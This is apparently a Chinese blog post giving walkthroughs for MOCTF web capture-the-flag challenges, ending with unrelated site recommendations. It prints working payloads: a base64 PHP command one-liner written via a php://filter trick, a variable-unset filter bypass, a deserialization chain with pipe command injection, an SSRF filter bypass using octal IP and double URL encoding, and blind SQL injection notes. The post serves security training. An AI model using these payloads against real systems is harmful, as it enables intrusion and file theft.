2019-04-19

MOCTF -WEB

9、暴躁老板

抓包

10、Flag在哪

抓取重定向

11、美味的饼干

发现cookie中存在base64编码+md5编码


改成admin并修改cookie即可

12、没时间解释了

发现index2.php,可能是重定向。

13、死亡退出

参考地址:https://blog.csdn.net/stepone4ward/article/details/86651041

@file_put_contents($filename, $c);

在向tmp.php中写入数据时利用php伪协议file=php://filter/read=convert.base64-decode/resource=tmp.php

c中写入base64编码的一句话<?php system("cat flag.php");?>

因为最前面的phpexit7位,因为base64算法解码时是4个byte一组,所以要加上一个a补全8位,

aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

构造post    file=php://filter/write=convert.base64-decode/resource=tmp.php&c=aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

14、火眼金睛

交个脚本就行


15、unset

代码审计,估计要用到unset

unset(bar);用来销毁指定的变量,如果变量bar);用来销毁指定的变量,如果变量bar 包含在请求参数中,可能出现销毁一些变量而实现程序逻辑绕过。


要求key中不能出现flag,但是又要$_GET['flag']。。。

所以利用

如果_POST、_GET中的某一键值对已经存在,就销毁这个key-value,从而绕过waf()


再利用POST中的数组重新进行键值对的赋值,因为GET中的键值对为$flag=s878926199a

而下面需要的是_GET[flag]

构造  http://119.23.73.3:5101/?flag=s878926199a&daiker=s155964671a&file=php://filter/read=convert.base64-encode/resource=flag.php 

POST:    _GET[flag]=s878926199a&_GET[daiker]=s155964671a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php

16、PUNG

在学校那个页面的源代码中提示index.php.bak

下载

1、存在class.php,以及需要利用反序列化。

试试class.php.bak文件

首先是_destruct(),waf()是啥不知道。。

如果weapon==="AWM",这里要绕过_wakeup,否则武器被赋值为98k,

调用Get_air_drops($this->bag);

然后    Get_air_drops($b)    是    $this->$b();

在调用不存在的方法时调用    _call()



很明显要利用参数可控的

$file = explode(".",$method);

if(file_exists(".//class$file[0].php"))

已知    system("php .//class//win.php"); 存在

于是构造    //win

system("php .//class//$method.php");

再利用管道符读取flag

于是构造"//win.php | cat ./class/flag"

构造反序列化


17、网站检测

参考wp:https://blog.csdn.net/stepone4ward/article/details/86701123

试一下http://www.moctf.com

发现这个检测器会将页面的主要内容输出到屏幕,尝试一下http://www.moctf.com/flag.php


SSRF漏洞(服务器端请求漏洞)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。因为其是由服务器端发生的请求,所以可以访问到外网无法访问到的内部系统。其绕过方式为在真实地址后加上@+想要伪造访问的地址

这道题给出的hint为docker -p 10001:80

我们需要访问的是本地的ip,但是题目过滤了dot和127,因此对于dot我们采取url编码的方式绕过,但此时的“.”为%2e,依旧会被识别,此时我们需要使用url二次编码来进行绕过。对于127.0.0.1我们则采取改变进制的方法进行绕过。

SSRF,过滤了.和127

最基本的payload为:http://www.moctf.com@127.0.0.1/flag.php

可以利用url二次编码的方式绕过.127.0.0.1可以用localhost试试,发现不行

将127.0.0.1转为8进制结果为017700000001

url=http%3A%2F%2Fwww.moctf.com@017700000001/%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30

18、简单注入

参考wp:https://www.jianshu.com/p/4bf347959bd5

多次尝试发现    id=1'and'1'='1    可以盲注了


判断可用字符

利用相同方法带入发现union联合注入、or、<、>都不可用。

可以使用and、select查询字符。

bool盲注,脚本以此类推

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,569评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,499评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,271评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,087评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,474评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,670评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,911评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,636评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,397评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,607评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,093评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,418评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,074评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,092评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,865评论 0 196
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,726评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,627评论 2 270

推荐阅读更多精彩内容

  • 1、什么是NFS? 全称 network file system 网络文件系统 通过网络存储和组织文件的一种方法或...
    Wave_e430阅读 243评论 0 0
  • WEB2 看源代码得flag 文件上传测试 找一张图片上传,截包改后缀名为.php得flag 计算题 F12修改输...
    a2dd56f6ad89阅读 18,417评论 0 2
  • 面向对象:很重要的; 1.类的概念: 类是对一组具有相同特征和行为的对象的抽象描述; 理解:1类包含了两个要素:特...
    lookeverybody个鸡阅读 489评论 0 0
  • 初识张爱玲,是一部名为《倾城之恋》的电视剧。 那时尚且年幼,只记得饰演白流苏的陈数一度惊艳了少年时光。 高中时期,...
    哲思领读阅读 748评论 1 3
  • 风在动。 雨在飘。 车在轰鸣 时间在散发她独有的香味。 我本以为静止可以留下她们 雨过天晴后发现被她们抛弃了 来不...
    方卫明阅读 262评论 0 0